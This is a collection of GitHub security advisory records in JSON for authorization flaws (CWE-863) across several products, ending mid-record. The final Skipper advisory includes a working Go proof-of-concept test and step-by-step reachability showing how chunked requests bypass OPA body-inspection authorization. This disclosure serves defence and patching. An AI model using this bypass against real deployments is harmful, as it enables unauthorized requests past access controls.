CWE-863

{
  "affected": [],
  "aliases": [
    "CVE-2024-54550"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-27T22:15:14Z",
    "severity": "MODERATE"
  },
  "details": "This issue was addressed with improved redaction of sensitive information. This issue is fixed in macOS Sequoia 15.2, iOS 18.2 and iPadOS 18.2. An app may be able to view autocompleted contact information from Messages and Mail in system logs.",
  "id": "GHSA-5g74-fw23-w3jp",
  "modified": "2025-01-28T18:31:25Z",
  "published": "2025-01-28T00:32:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-54550"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/121837"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/121839"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2020-25049"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-08-31T21:15:00Z",
    "severity": "HIGH"
  },
  "details": "An issue was discovered on Samsung mobile devices with P(9.0) and Q(10.0) software. StatusBarService has insufficient DEX access control. The Samsung ID is SVE-2020-17797 (August 2020).",
  "id": "GHSA-5g97-q926-pqfr",
  "modified": "2022-05-24T17:27:01Z",
  "published": "2022-05-24T17:27:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-25049"
    },
    {
      "type": "WEB",
      "url": "https://security.samsungmobile.com/securityUpdate.smsb"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-49209"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-22T17:15:05Z",
    "severity": "MODERATE"
  },
  "details": "Archer Platform 2024.03 before version 2024.09 is affected by an API authorization bypass vulnerability related to supporting application files. A remote unprivileged attacker could potentially exploit this vulnerability to elevate their privileges and upload additional system icons.",
  "id": "GHSA-5g9h-w8cm-q83h",
  "modified": "2024-10-22T18:32:12Z",
  "published": "2024-10-22T18:32:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-49209"
    },
    {
      "type": "WEB",
      "url": "https://www.archerirm.community/t5/platform-announcements/archer-update-for-multiple-vulnerabilities/ta-p/747545"
    },
    {
      "type": "WEB",
      "url": "https://www.archerirm.community/t5/platform-announcements/tkb-p/product-advisories-tkb"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-22616"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-05-26T18:15:00Z",
    "severity": "MODERATE"
  },
  "details": "This issue was addressed with improved checks. This issue is fixed in Security Update 2022-003 Catalina, macOS Monterey 12.3, macOS Big Sur 11.6.5. A maliciously crafted ZIP archive may bypass Gatekeeper checks.",
  "id": "GHSA-5g9j-jm8g-926x",
  "modified": "2022-06-09T00:00:29Z",
  "published": "2022-05-27T00:00:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-22616"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT213183"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT213184"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT213185"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-57432"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-31T17:15:15Z",
    "severity": "CRITICAL"
  },
  "details": "macrozheng mall-tiny 1.0.1 suffers from Insecure Permissions. The application\u0027s JWT signing keys are hardcoded and do not change. User information is explicitly written into the JWT and used for subsequent privilege management, making it is possible to forge the JWT of any user to achieve authentication bypass.",
  "id": "GHSA-5ggv-wq69-w49q",
  "modified": "2025-02-03T18:30:40Z",
  "published": "2025-01-31T18:31:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-57432"
    },
    {
      "type": "WEB",
      "url": "https://github.com/peccc/restful_vul/blob/main/mall_tiny_weak_jwt/mall_tiny_weak_jwt.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 7.3.4"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "com.liferay.portal:release.portal.bom"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.3"
            },
            {
              "fixed": "7.3.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.liferay.portal:release.dxp.bom"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.1.0"
            },
            {
              "fixed": "7.1.10.fp20"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.liferay.portal:release.dxp.bom"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.2.0"
            },
            {
              "fixed": "7.2.10.fp9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-33335"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-05-28T20:14:34Z",
    "nvd_published_at": "2021-08-03T22:15:00Z",
    "severity": "HIGH"
  },
  "details": "Privilege escalation vulnerability in Liferay Portal 7.0.3 through 7.3.4, and Liferay DXP 7.1 before fix pack 20, and 7.2 before fix pack 9 allows remote authenticated users with permission to update/edit users to take over a company administrator user account by editing the company administrator user.",
  "id": "GHSA-5gh9-g62h-f35m",
  "modified": "2025-05-28T20:14:34Z",
  "published": "2022-05-24T19:10:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-33335"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/liferay/liferay-portal"
    },
    {
      "type": "WEB",
      "url": "https://issues.liferay.com/browse/LPE-17103"
    },
    {
      "type": "WEB",
      "url": "https://web.archive.org/web/20220828222916/https://portal.liferay.dev/learn/security/known-vulnerabilities/-/asset_publisher/HbL5mxmVrnXW/content/id/120747906"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Liferay Portal and Liferay DXP Has Company Administrator Accounts Vulnerable to Takeovers"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2026.4.5"
            },
            {
              "fixed": "2026.4.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-43568"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-266",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-17T21:53:17Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nMemory dreaming config persistence was reachable from operator.write commands.\n\n## Affected Packages / Versions\n\n- Package: `openclaw`\n- Ecosystem: npm\n- Affected versions: `\u003e= 2026.4.5 \u003c 2026.4.10`\n- Patched versions: `\u003e= 2026.4.10`\n\n## Impact\n\nA write-scoped gateway path could toggle persistent memory dreaming settings through `/dreaming`, crossing into an admin-class configuration mutation.\n\n## Technical Details\n\nThe fix requires admin scope for persistent dreaming gateway toggles.\n\n## Fix\n\nThe issue was fixed in #63872. The first stable tag containing the fix is `v2026.4.10`, and `openclaw@2026.4.14` includes the fix.\n\n## Fix Commit(s)\n\n- `6af17b39e11f5f35e23b7e5a5f71a7d0aa3c7310`\n- PR: #63872\n\n## Release Process Note\n\nUsers should upgrade to `openclaw` 2026.4.10 or newer. The latest npm release, `2026.4.14`, already includes the fix.\n\n## Credits\n\nThanks to @zpbrent and @zsxsoft, with sponsorship from @KeenSecurityLab and @qclawer for reporting this issue.",
  "id": "GHSA-5gjc-grvm-m88j",
  "modified": "2026-05-05T12:00:11Z",
  "published": "2026-04-17T21:53:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-5gjc-grvm-m88j"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/pull/63872"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/6af17b39e11f5f35e23b7e5a5f71a7d0aa3c7310"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:U",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw: Memory dreaming config persistence was reachable from operator.write commands"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.8.8"
            },
            {
              "fixed": "0.11.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-70490"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-04T20:45:00Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\nThe terminal WebSocket route authenticates its own first-message JWT instead of going through the HTTP dependency chain, and never applies the role check that `get_verified_user` enforces on every HTTP terminal route. An account whose role is `pending`, meaning registered but not approved, or approved and later deactivated back to `pending`, can therefore open an interactive terminal session that the HTTP terminal endpoints would refuse. The missing control is the verified-user role gate, not the terminal access grants, which are evaluated correctly.\n\n## Preconditions\nAt least one terminal server must be configured, which is off by default, and its access grants must cover the account: either public read (`principal_id: \"*\"`) or a group the account still belongs to. The attacker needs a valid, unexpired JWT for a `pending` account and the terminal server id. Both are obtainable by an account that registered while approvals are pending, or by one that held access and was deactivated, since deactivation sets the role to `pending` without revoking the token, which lasts four weeks by default. Deployments with no terminal server configured, or whose terminal grants are admin-only, are not affected.\n\n## Impact\nA deployment loses the account-approval boundary for terminal access. An unapproved or deactivated account gets interactive shell access, file browsing and terminal-backed tooling in the terminal environment, for as long as its token remains valid. Because the HTTP terminal routes correctly reject the same account, the two planes disagree, so an administrator who deactivates a user sees access revoked over HTTP while the WebSocket keeps working. The terminal access grants themselves are not bypassed: an account with no grant is still refused, so this only widens access to terminals already shared broadly or with a group the account remains in.\n\n## Fix\nFixed in v0.11.0 by https://github.com/open-webui/open-webui/pull/27537. Token decoding, revocation checking, user lookup and the role check are consolidated into a single `get_verified_user_by_token` helper, and both the terminal WebSocket route and the Socket.IO handshake now go through it. The role set lives in one constant shared with the HTTP gate so the two cannot drift apart again. Upgrading fully resolves the issue; no configuration change is required.\n\n## Root cause\nAffected component: `backend/open_webui/routers/terminals.py`, the `_resolve_authenticated_connection` helper backing the `/{server_id}/api/terminals/{session_id}` WebSocket route. Affected setup: every build from v0.8.8 onward, since the route was introduced there.\n\nWebSocket handshakes cannot use FastAPI dependencies, so this route reimplemented authentication inline. The reimplementation reproduced the parts that are visible in the token, that it decodes and that the user row exists, and silently dropped the part that lives in the database row, the role check. Authorization then ran on two independent code paths with no shared definition of what an authenticated user is, and only one of them was updated when the role gate was introduced.\n\n## Credits\nReported by @rexpository.",
  "id": "GHSA-5gpj-vj23-vhhv",
  "modified": "2026-08-04T20:45:00Z",
  "published": "2026-08-04T20:45:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-5gpj-vj23-vhhv"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI: Unapproved accounts can open terminal sessions via a WebSocket auth path missing the role check"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/zalando/skipper"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.27.37"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-86043"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-17T17:05:57Z",
    "nvd_published_at": "2026-09-16T19:17:51Z",
    "severity": "HIGH"
  },
  "details": "- **Affected component:** `filters/openpolicyagent/openpolicyagent.go` \u2192 `ExtractHttpBodyOptionally`; combined with `github.com/open-policy-agent/opa-envoy-plugin` `envoyauth/request.go` \u2192 `getParsedBody` / `checkIfHTTPBodyTruncated`. Filter: `opaAuthorizeRequestWithBody`.\n- **Affected versions:** `\u003c= 0.27.33` (current HEAD `e7d7014c`). The `truncated_body` mitigation was introduced/recommended in v0.27.26 (advisory GHSA-8qqm-fp2q-v734) and remains bypassable.\n- **Fix chain being audited:** CVE-2026-50197 (GHSA-659f-rgp5-w4wf, commit `3152f3b0`) \u2192 GHSA-8qqm-fp2q-v734 (docs + code, commit `1be950cd` #4126, v0.27.26). This finding is the third, still-open variant.\n\n## Summary\n\nSkipper\u0027s `opaAuthorizeRequestWithBody` filter authorizes requests by handing the (bounded) request body to Open Policy Agent. When a body exceeds `-open-policy-agent-max-request-body-size` (default 1 MB), Skipper truncates it before OPA sees it. Advisory **GHSA-8qqm-fp2q-v734** established that deny-on-presence / body-inspecting policies fail OPEN on oversized bodies, and its remediation instructs policy authors to **guard on `input.attributes.request.http.truncated_body`** (implemented as the top-level `input.truncated_body`):\n\n```rego\ndefault allow := false\nallow if {\n    input.truncated_body == false\n    # ... body-based conditions\n}\n```\n\nThat mitigation is itself incomplete. The `truncated_body` flag is computed by the OPA envoy plugin **only when a `content-length` header is present**. A request sent with `Transfer-Encoding: chunked` (HTTP/1.1) or over HTTP/2 carries **no `content-length`**, so `truncated_body` is left `false` even though Skipper truncated the body. The mitigated policy therefore evaluates `input.truncated_body == false` as *true* and **ALLOWS** the request, while the **full, un-inspected oversized payload is forwarded to the upstream** (Skipper\u0027s `bufferedBodyReader` streams the buffered prefix and then continues draining the original body).\n\nThe transport that defeats the mitigation \u2014 chunked / HTTP-2 without Content-Length \u2014 is the **exact transport class the original CVE-2026-50197 was about**; the GHSA-8qqm fix closed the declared-Content-Length variant and its positive-control test only exercised *small* chunked bodies, never *oversized* chunked bodies.\n\n## Root cause\n\n`opa-envoy-plugin/envoyauth/request.go`:\n\n```go\nfunc getParsedBody(...) (any, bool, error) {\n    if val, ok := headers[\"content-type\"]; ok {\n        if strings.Contains(val, \"application/json\") {\n            ...\n            if val, ok := headers[\"content-length\"]; ok {          // \u003c-- only path that sets truncation\n                truncated, err := checkIfHTTPBodyTruncated(val, int64(len(body)))\n                ...\n                if truncated { return nil, true, nil }\n            }\n            ...\n        } else if ... \"application/x-www-form-urlencoded\" { /* same content-length gate */ }\n          else if ... \"multipart/form-data\"            { /* same content-length gate */ }\n    }\n    return data, false, nil     // \u003c-- no content-length  ==\u003e truncated_body = false\n}\n\nfunc checkIfHTTPBodyTruncated(contentLength string, bodyLength int64) (bool, error) {\n    cl, _ := strconv.ParseInt(contentLength, 10, 64)\n    if cl != -1 \u0026\u0026 cl \u003e bodyLength { return true, nil }\n    return false, nil\n}\n```\n\nTruncation can only ever be signalled by comparing `content-length` against the received body length. With chunked/HTTP-2 there is no `content-length`, so the comparison is skipped and `truncated_body` is reported `false`. Skipper (`ExtractHttpBodyOptionally`) meanwhile *does* truncate the chunked body to `maxBodyBytes` (it sets `expectedSize = maxBodyBytes` when `req.ContentLength \u003c 0`), producing the exact divergence: OPA is told \"not truncated\", but the body was truncated, and the backend receives the whole thing.\n\n## Reachability\n\n1. Deployment runs `opaAuthorizeRequestWithBody` with a body-inspecting policy that follows the GHSA-8qqm mitigation (`allow if input.truncated_body == false`). This is the maintainer-recommended configuration (advisory + v0.27.26 docs).\n2. Attacker sends a request whose body exceeds `max-request-body-size` using `Transfer-Encoding: chunked` (or HTTP/2). No `content-length` header is present.\n3. `ExtractHttpBodyOptionally` reads/truncates the body to `maxBodyBytes`; `rawBody` is the truncated prefix.\n4. `AdaptToExtAuthRequest` forwards the lowercased headers (no `content-length`) and the truncated `RawBody` to OPA.\n5. `getParsedBody` finds no `content-length` \u2192 `truncated_body = false`; for a non-parsed content-type it also returns `parsed_body = null` with no error.\n6. Policy: `input.truncated_body == false` is satisfied \u2192 `allow = true`.\n7. Skipper forwards the request; `bufferedBodyReader.Read` serves the buffered prefix and then continues reading the original `req.Body`, delivering the **full oversized payload** to the upstream.\n\nEvery guard on the path is accounted for: the only \"guard\" is `truncated_body`, and it is defeated by omitting `content-length`.\n\n## Impact\n\nBypass of OPA request-body authorization for any deployment that adopted the official `truncated_body` mitigation. Requests that the policy is meant to reject (oversized / un-inspectable bodies, or bodies whose forbidden content lies beyond the inspection window) are authorized and forwarded in full to the protected upstream. Same security property and severity class as CVE-2026-50197 / GHSA-8qqm (both High).\n\n## CVSS 3.1\n\nVector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N` = **7.5 High**\n\n- **AV:N** \u2014 remote HTTP request.\n- **AC:L** \u2014 single crafted request; no race/special conditions (just chunked framing + padding).\n- **PR:N / UI:N** \u2014 unauthenticated, no user interaction.\n- **S:U** \u2014 impact within the authorized component/upstream trust scope.\n- **C:N** \u2014 no direct disclosure by the bypass itself.\n- **I:H** \u2014 authorization control is bypassed; forbidden request content reaches the upstream (integrity of the access-control decision / protected resource).\n- **A:N** \u2014 not primarily an availability issue.\n\n(Conditional: exploitable only where `opaAuthorizeRequestWithBody` is used with a `truncated_body`-gated policy \u2014 i.e. deployments that followed the GHSA-8qqm mitigation. Consistent with the conditional nature of the parent CVEs.)\n\n## Proof of Concept\n\nExecutable Go test added to the OPA filter package. It stands up a real Skipper proxy (`proxy.WithParams`) + a real OPA control plane (`opasdktest`) with `WithMaxRequestBodyBytes(32)` and the advisory\u0027s verbatim mitigation policy (`allow if input.truncated_body == false`), routed to a recording upstream.\n\n- **Positive control** \u2014 oversized body **with Content-Length** \u2192 `truncated_body=true` \u2192 **403** (mitigation works).\n- **Bypass** \u2014 identical oversized body sent **chunked** (no Content-Length) \u2192 `truncated_body=false` \u2192 **200**, and the upstream receives the **full** 66-byte payload past the 32-byte inspection cap.\n\nCommand and observed benign output:\n\n```\n$ go test ./filters/openpolicyagent/ -run TestTruncatedBodyChunkedBypass -count=1 -v\n\n    poc_truncated_body_chunked_test.go:148: [content-length ] status=403 upstream_body_bytes=-1\n    poc_truncated_body_chunked_test.go:154: [chunked        ] status=200 upstream_body_bytes=66\n--- PASS: TestTruncatedBodyChunkedBypass (0.11s)\nPASS\n```\n\n- content-length variant \u2192 **403**, upstream received nothing (`-1`) \u2014 mitigation works.\n- chunked variant (byte-identical body) \u2192 **200**, upstream received the **full 66-byte** payload past the 32-byte cap \u2014 **authorization bypass**.\n\n(Full PoC source is appended below by the submission tool via `--poc-file`.)\n\n## Adversarial re-read (refutation attempts)\n\n- *\"Truncated JSON just fails to parse \u2192 fail closed.\"* True for `application/json` when truncation lands mid-token, but the bypass does not rely on JSON: `application/x-www-form-urlencoded` parses leniently after truncation, and unparsed/absent content-types return `(nil, false, nil)` with no error. The load-bearing signal is `truncated_body`, not `parsed_body`, and it is `false` in all these cases.\n- *\"Maybe Skipper adds a content-length for chunked before OPA sees it.\"* No \u2014 `AdaptToExtAuthRequest` copies `req.Header` verbatim (lowercased); a chunked request has no `content-length` header, and net/http does not synthesise one. Confirmed by reading `skipperadapter.go`.\n- *\"Maybe the mitigation is `deny if truncated_body == true` (allow-by-default), which is unaffected.\"* Both shapes in the advisory rely on `truncated_body` correctly reflecting truncation; the deny-if shape simply *fails to deny* under the same chunked condition. The allow-if shape (shown) fails open directly.\n- *\"Is this already covered by CVE-2026-50197?\"* No. 50197 was the *empty-body* chunked bypass (OPA saw no body); its fix makes OPA see the truncated prefix. GHSA-8qqm was the declared-Content-Length oversized variant; its fix populates `parsed_body` and recommends `truncated_body`. Neither addresses `truncated_body` being unset for chunked/HTTP-2 oversized bodies. The 8qqm positive-control test only used small chunked bodies.\n\nResult: survives refutation; concrete, reproducible bypass of the published mitigation. Differentiation check passes (incomplete-fix of a published advisory, not a generic surface bug).\n\n## Remediation\n\nDo not rely on the client-supplied `content-length` header to detect truncation. Skipper should signal truncation authoritatively to OPA rather than delegating to the plugin\u0027s Content-Length heuristic. Concretely, in `ExtractHttpBodyOptionally`, detect that the underlying body still has bytes after `maxBodyBytes` were buffered (e.g. attempt one more read / peek) and propagate a definitive truncation indicator \u2014 for example by setting a synthetic `content-length` (or a dedicated context extension / metadata field) that reflects the real truncation state, so `input.truncated_body` is `true` whenever the body was actually cut, regardless of transfer encoding. Alternatively, reject (413) requests whose body exceeds `maxBodyBytes` when body-based authorization is enabled, instead of silently truncating. Upstream, `opa-envoy-plugin` should treat \"body present but not fully inspectable and no content-length\" as truncated rather than defaulting to `false`.\n\n## Confidence\n\nHigh. Root cause verified in both Skipper and the pinned `opa-envoy-plugin@v1.14.1-envoy` source; executable PoC demonstrates the status/upstream-body divergence against the maintainer\u0027s own recommended mitigation.\n\n\n## Proof-of-Concept source (`poc_truncated_body_chunked_test.go`)\n\n```go\npackage openpolicyagent_test\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"strings\"\n\t\"sync/atomic\"\n\t\"testing\"\n\t\"time\"\n\n\topasdktest \"github.com/open-policy-agent/opa/v1/sdk/test\"\n\t\"github.com/stretchr/testify/assert\"\n\t\"github.com/zalando/skipper/eskip\"\n\t\"github.com/zalando/skipper/filters\"\n\t\"github.com/zalando/skipper/filters/builtin\"\n\t\"github.com/zalando/skipper/filters/openpolicyagent\"\n\t\"github.com/zalando/skipper/filters/openpolicyagent/opaauthorizerequest\"\n\t\"github.com/zalando/skipper/proxy\"\n\t\"github.com/zalando/skipper/routing\"\n\t\"github.com/zalando/skipper/routing/testdataclient\"\n)\n\n// TestTruncatedBodyChunkedBypass demonstrates that the GHSA-8qqm-fp2q-v734\n// mitigation (\"check input.truncated_body in your policy\") fails OPEN when the\n// oversized request is sent with Transfer-Encoding: chunked (no Content-Length).\n//\n// The mitigation Rego (verbatim from the advisory):\n//\n//\tdefault allow := false\n//\tallow if { input.truncated_body == false }\n//\n// truncated_body is derived by the OPA envoy plugin ONLY when a content-length\n// header is present (opa-envoy-plugin envoyauth/request.go getParsedBody -\u003e\n// checkIfHTTPBodyTruncated). A chunked / HTTP-2 request carries no\n// content-length, so truncated_body stays false even though Skipper truncated\n// the body to max-request-body-size. The mitigated policy therefore ALLOWS an\n// oversized body and the full payload reaches upstream.\nfunc TestTruncatedBodyChunkedBypass(t *testing.T) {\n\tconst maxBody = 32\n\t// oversized url-encoded payload: \"a=\" + 64 * \"A\" = 66 bytes \u003e 32.\n\tpayload := \"a=\" + strings.Repeat(\"A\", 64)\n\n\t// upstream records how many body bytes it actually received.\n\tvar upstreamBytes atomic.Int64\n\tbackend := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tn, _ := io.Copy(io.Discard, r.Body)\n\t\tupstreamBytes.Store(n)\n\t\tw.WriteHeader(200)\n\t\tw.Write([]byte(\"OK\"))\n\t}))\n\tdefer backend.Close()\n\n\tbundleName := \"test-bundle\"\n\topaControlPlane := opasdktest.MustNewServer(\n\t\topasdktest.MockBundle(\"/bundles/\"+bundleName, map[string]string{\n\t\t\t// The exact mitigation the advisory recommends.\n\t\t\t\"main.rego\": `\npackage envoy.authz\n\nimport rego.v1\n\ndefault allow := false\n\nallow if {\n    input.truncated_body == false\n}\n`,\n\t\t}),\n\t)\n\tdefer opaControlPlane.Stop()\n\n\tconfig := fmt.Appendf(nil, `{\n\t\t\"services\": {\"test\": {\"url\": %q}},\n\t\t\"bundles\": {\"test\": {\"resource\": \"/bundles/{{ .bundlename }}\"}},\n\t\t\"labels\": {\"environment\": \"test\"},\n\t\t\"plugins\": {\"envoy_ext_authz_grpc\": {\"path\": \"envoy/authz/allow\", \"dry-run\": false}}\n\t}`, opaControlPlane.URL())\n\n\topaRegistry, err := openpolicyagent.NewOpenPolicyAgentRegistry(\n\t\topenpolicyagent.WithPreloadingEnabled(true),\n\t\topenpolicyagent.WithEnableDataPreProcessingOptimization(true),\n\t\topenpolicyagent.WithInstanceStartupTimeout(5*time.Second),\n\t\topenpolicyagent.WithMaxRequestBodyBytes(maxBody),\n\t\topenpolicyagent.WithOpenPolicyAgentInstanceConfig(\n\t\t\topenpolicyagent.WithConfigTemplate(config)),\n\t)\n\tif err != nil {\n\t\tt.Fatalf(\"opaRegistry: %v\", err)\n\t}\n\tdefer opaRegistry.Close()\n\n\tfr := make(filters.Registry)\n\tfr.Register(opaauthorizerequest.NewOpaAuthorizeRequestWithBodySpec(opaRegistry))\n\tfr.Register(builtin.NewSetPath())\n\n\tdocFmt := `r1: * -\u003e opaAuthorizeRequestWithBody(\"%s\") -\u003e \"%s\";`\n\tr := eskip.MustParse(fmt.Sprintf(docFmt, bundleName, backend.URL))\n\tdc := testdataclient.New(r)\n\tdefer dc.Close()\n\n\trt := routing.New(routing.Options{\n\t\tFilterRegistry:  fr,\n\t\tDataClients:     []routing.DataClient{dc},\n\t\tPreProcessors:   []routing.PreProcessor{opaRegistry.NewPreProcessor()},\n\t\tPostProcessors:  []routing.PostProcessor{opaRegistry},\n\t\tPollTimeout:     time.Second,\n\t\tSignalFirstLoad: true,\n\t})\n\tdefer rt.Close()\n\t\u003c-rt.FirstLoad()\n\n\tpr := proxy.WithParams(proxy.Params{Routing: rt})\n\tdefer pr.Close()\n\tts := httptest.NewServer(pr)\n\tdefer ts.Close()\n\n\tinst, err := opaRegistry.GetOrStartInstance(bundleName)\n\tassert.NoError(t, err)\n\tassert.NotNil(t, inst)\n\n\tdoReq := func(chunked bool) (int, int64) {\n\t\tupstreamBytes.Store(-1)\n\t\treq, err := http.NewRequest(\"POST\", ts.URL, strings.NewReader(payload))\n\t\tif err != nil {\n\t\t\tt.Fatalf(\"new request: %v\", err)\n\t\t}\n\t\treq.Header.Set(\"Content-Type\", \"application/x-www-form-urlencoded\")\n\t\tif chunked {\n\t\t\t// Force chunked framing: no Content-Length reaches the server,\n\t\t\t// so the server sees req.ContentLength == -1.\n\t\t\treq.ContentLength = -1\n\t\t\treq.TransferEncoding = []string{\"chunked\"}\n\t\t}\n\t\trsp, err := ts.Client().Do(req)\n\t\tif err != nil {\n\t\t\tt.Fatalf(\"do: %v\", err)\n\t\t}\n\t\tio.Copy(io.Discard, rsp.Body)\n\t\trsp.Body.Close()\n\t\treturn rsp.StatusCode, upstreamBytes.Load()\n\t}\n\n\t// POSITIVE CONTROL: oversized body WITH Content-Length.\n\t// truncated_body == true  -\u003e policy denies. Mitigation works as designed.\n\tclStatus, clUpstream := doReq(false)\n\tt.Logf(\"[content-length ] status=%d upstream_body_bytes=%d\", clStatus, clUpstream)\n\tassert.Equal(t, 403, clStatus, \"oversized body with Content-Length must be DENIED (mitigation working)\")\n\n\t// BYPASS: identical oversized body sent CHUNKED (no Content-Length).\n\t// truncated_body == false -\u003e policy ALLOWS -\u003e full payload reaches upstream.\n\tchStatus, chUpstream := doReq(true)\n\tt.Logf(\"[chunked        ] status=%d upstream_body_bytes=%d\", chStatus, chUpstream)\n\n\tassert.Equal(t, 200, chStatus, \"BYPASS: oversized chunked body was ALLOWED by the truncated_body mitigation\")\n\tassert.Equal(t, int64(len(payload)), chUpstream,\n\t\t\"BYPASS: upstream received the FULL oversized payload past OPA authorization\")\n}\n\n```",
  "id": "GHSA-5gpm-rgj3-9q76",
  "modified": "2026-09-17T17:05:57Z",
  "published": "2026-09-17T17:05:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/zalando/skipper/security/advisories/GHSA-5gpm-rgj3-9q76"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-86043"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zalando/skipper/commit/2cfceabaa6ff0af65b312dcb9bcbe84691b9d507"
    },
    {
